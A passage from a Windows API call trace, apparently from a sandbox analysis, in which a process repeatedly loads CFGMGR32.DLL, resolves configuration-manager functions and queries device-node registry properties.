lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.761] malloc (_Size=0x18) returned 0x20abc281fc0 [0225.761] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0225.762] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4253d509, dwHighDateTime=0x1d9eb0c)) [0225.762] SetEvent (hEvent=0x248) returned 1 [0225.793] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.797] malloc (_Size=0x18) returned 0x20abc281de0 [0225.798] CM_Get_Device_IDA (in: dnDevInst=0xb, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\PRINTQUEUES") returned 0x0 [0225.798] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x425af883, dwHighDateTime=0x1d9eb0c)) [0225.798] SetEvent (hEvent=0x248) returned 1 [0225.802] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.802] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.806] malloc (_Size=0x18) returned 0x20abc281ec0 [0225.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0225.807] malloc (_Size=0x36) returned 0x20abc280fd0 [0225.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0225.808] free (_Block=0x20abc280fd0) [0225.808] malloc (_Size=0x48) returned 0x20abc2ab770 [0225.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x425af883, dwHighDateTime=0x1d9eb0c)) [0225.808] SetEvent (hEvent=0x248) returned 1 [0225.811] malloc (_Size=0x18) returned 0x20abc2819e0 [0225.811] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0225.811] free (_Block=0x20abc2819e0) [0225.812] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0225.812] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0225.812] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0225.812] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0225.812] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0225.812] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0225.812] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0225.812] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0225.812] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0225.813] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402160, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.813] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0225.814] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0225.815] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.815] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.819] malloc (_Size=0x18) returned 0x20abc2820e0 [0225.819] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0225.819] malloc (_Size=0x38) returned 0x20abc281510 [0225.820] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8) returned 0x0 [0225.820] free (_Block=0x20abc281510) [0225.820] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x425d6251, dwHighDateTime=0x1d9eb0c)) [0225.821] SetEvent (hEvent=0x248) returned 1 [0225.824] malloc (_Size=0x18) returned 0x20abc281e00 [0225.824] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0225.824] free (_Block=0x20abc281e00) [0225.824] malloc (_Size=0x18) returned 0x20abc281ee0 [0225.824] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0225.824] free (_Block=0x20abc281ee0) [0225.824] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c4f0 [0225.824] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0225.824] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0225.824] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0225.824] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79580 [0225.824] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0225.825] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0225.825] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0225.825] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0225.825] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.826] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.826] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79580) returned 1 [0225.827] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c4f0) returned 1 [0225.827] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.827] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.889] malloc (_Size=0x18) returned 0x20abc281c00 [0225.890] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.894] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x426945be, dwHighDateTime=0x1d9eb0c)) [0225.895] SetEvent (hEvent=0x248) returned 1 [0225.900] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.900] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.905] malloc (_Size=0x18) returned 0x20abc281c20 [0225.905] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.905] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x426945be, dwHighDateTime=0x1d9eb0c)) [0225.906] SetEvent (hEvent=0x248) returned 1 [0225.911] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.911] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.915] malloc (_Size=0x18) returned 0x20abc281fa0 [0225.915] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.916] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x426ba921, dwHighDateTime=0x1d9eb0c)) [0225.916] SetEvent (hEvent=0x248) returned 1 [0225.920] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.920] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 